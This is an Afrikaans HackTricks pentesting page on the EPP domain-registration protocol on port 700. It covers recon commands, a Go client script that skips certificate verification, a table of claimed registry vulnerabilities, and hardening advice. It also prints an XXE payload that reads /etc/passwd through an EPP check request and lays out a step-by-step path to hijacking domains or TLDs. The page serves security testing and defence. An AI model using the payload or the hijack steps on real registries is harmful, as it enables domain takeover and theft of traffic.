700 - Pentesting EPP
Reading time: 6 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Die Extensible Provisioning Protocol (EPP) is 'n netwerkprotokol wat gebruik word vir die bestuur van domeinnames en ander internetbronne deur domeinnaam registrasies en registrars. Dit stel die outomatisering van domeinnaamregistrasie, hernuwing, oordrag en verwydering prosesse in staat, wat 'n gestandaardiseerde en veilige kommunikasiekader tussen verskillende entiteite in die domeinnaamstelsel (DNS) verseker. EPP is ontwerp om buigsaam en uitbreidbaar te wees, wat die toevoeging van nuwe kenmerke en opdragte moontlik maak namate die behoeftes van die internetinfrastruktuur ontwikkel.
Basies, dit is een van die protokolle wat 'n TLD registrar gaan aanbied aan domein registrars om nuwe domeine in die TLD te registreer.
Pentest
In hierdie baie interessante artikel kan jy sien hoe sommige sekuriteitsnavorsers verskeie implementasies van hierdie protokol gevind het wat kwesbaar was vir XXE (XML External Entity) aangesien hierdie protokol XML gebruik om te kommunikeer, wat aanvallers sou toegelaat het om tientalle verskillende TLD's oor te neem.
Enumerasie & Recon
EPP bedieners luister byna altyd op TCP 700/tcp
oor TLS. 'n Tipiese implementering afdwing ook mutual-TLS (mTLS) sodat die kliënt 'n geldige sertifikaat wat deur die registrasie CA uitgereik is, moet aanbied. Nietemin, baie private toets- of voorproduksie-implementasies vergeet daardie beheer:
# Banner-grabbing / TLS inspection
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>
# Check if mTLS is *really* required (it frequently is not!)
openssl s_client -connect <target>:700 -quiet \
-servername epp.test 2>/dev/null | head
As die bediener nie die verbinding beëindig na die TLS-handdruk nie, kan jy probeer om 'n nie-geoutentiseerde <hello/>
boodskap te stuur:
<?xml version="1.0" encoding="UTF-8"?>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<hello/>
</epp>
Open-source clients useful for testing
- epp-client (Go) – aktief onderhoude, ondersteun TCP/TLS en EPP-over-HTTPS (RFC 8730):
go install github.com/domainr/epp/cmd/epp@latest
- gandi/go-epp – minimale kliëntbiblioteek wat maklik vir fuzzing of nuclei-styl werksvloei's geinstrumenteer kan word.
- afq984/php-epp-client – PHP-implementasie wat deur baie klein registrateurs gebruik word; 'n gerieflike teiken vir kode-oorsig.
Voorbeeld minimale aanmeld+kontrole skrip met Go epp-client:
package main
import (
"github.com/domainr/epp"
"crypto/tls"
)
func main() {
cfg := &tls.Config{InsecureSkipVerify: true}
c, _ := epp.DialTLS("epp.test:700", cfg)
c.Login("CLIENT_ID", "PASSWORD", nil)
resp, _ := c.DomainCheck("example","com")
println(resp)
}
Algemene Swakhede & 2023-2025 Kw vulnerabilities
Jaar | Komponent | CWE | Impak |
---|---|---|---|
2023 | CoCCA Registrasie < 3.5 | CWE-611 XXE | Afgeleë lêer lees & SSRF via vervaardigde <epp> payload (patch: 2023-11-02) |
2024 | FRED EPP Bediener 2.x | CWE-322 Onvoldoende TLS sertifikaat validasie | Bypass van mTLS het ongeoorloofde registrateur aanmelding toegelaat |
2025 | Eie registrateur paneel | CWE-306 Ontbrekende Verifikasie vir Kritieke Funksie | Domein oordrag goedkeuringspunt blootgestel oor EPP-HTTP brug |
XXE / SSRF payload (werk teen baie Java/Spring implementasies)
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<command>
<check>
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
<domain:name>&xxe;</domain:name>
</domain:check>
</check>
</command>
</epp>
Wanneer die parser verkeerd gekonfigureer is (XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true
), word die lêerinhoud binne die <resData>
struktuur teruggestuur.
Ander tipiese bevindings
- Swak geloofsbriefbeleid – EPP aanmeldwagwoorde korter as 8 karakters; brute-force is dikwels haalbaar omdat die spesifikasie slegs aanbeveel (nie vereis nie) om koersbeperking toe te pas.
- Ontbrekende
registryLock
/serverUpdateProhibited
status – sodra geverifieer, kan aanvallers onmiddellik NS rekords opdateer en verkeer steel. - Ongesigneerde peilboodskappe – sommige implementasies teken steeds nie peil Q&A boodskappe nie, wat spoofing/phishing van registrateur operateurs moontlik maak.
Aanvalspad: Van Nul tot TLD Kaap
- Ontdek 'n EPP eindpunt (dikwels versteek agter 'n generiese gasheer soos
ot&e.<tld>.nic.<cc>
). - Misbruik een van die bogenoemde swakhede om registrateur-niveau geloofsbriewe te verkry (XXE → SSRF na IMDSv1, geloofsbrief eksfiltrasie, of TLS-omseiling).
- Stuur
<update>
versoeke om die domein sehostObj
rekords na aanvaller-beheerde naamservers te verander. - (Opsioneel) Dien 'n
<transfer>
in om die domein na 'n aanvaller-beheerde registrateur te skuif – baie registrasies staatmaak steeds op 'n enkele auth-code. - Wins: volle beheer oor DNS-sone, vermoë om TLS sertifikate aan te vra via ACME.
Verdedigingsmaatreëls & Versterking
- Handhaaf mTLS met per-registrateur kliënt sertifikate en pin die registrasie CA.
- Stel
parserFeature secure-processing=true
of gelykwaardig in om XXE te beëindig. - Voer deurlopende fuzzing van die XML-parser uit (bv. met
go-fuzz
ofjazzer
vir Java). - Ontplooi Registry Lock / server*Prohibited statusse vir hoëwaarde domeine.
- Monitor
poll
wag vir verdagte<transfer>
of<update>
opdragte en waarsku in werklike tyd. - ICANN 2024 DNS-Misbruik kontrakwysigings vereis dat registrasies moet bewys dat koersbeperkings & auth kontroles toegepas word – benut dit.
Verwysings
- ICANN Veiligheid en Stabiliteit Advieskomitee (SSAC). "SAC118: Gevolge van Registrasie Operateur se Faal om EPP Veiligheid Beheermaatreëls te Implementeer". 2024.
- HackCompute – "Hacking EPP bedieners: misbruik van XXE om TLDs te kaap" (2023).
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.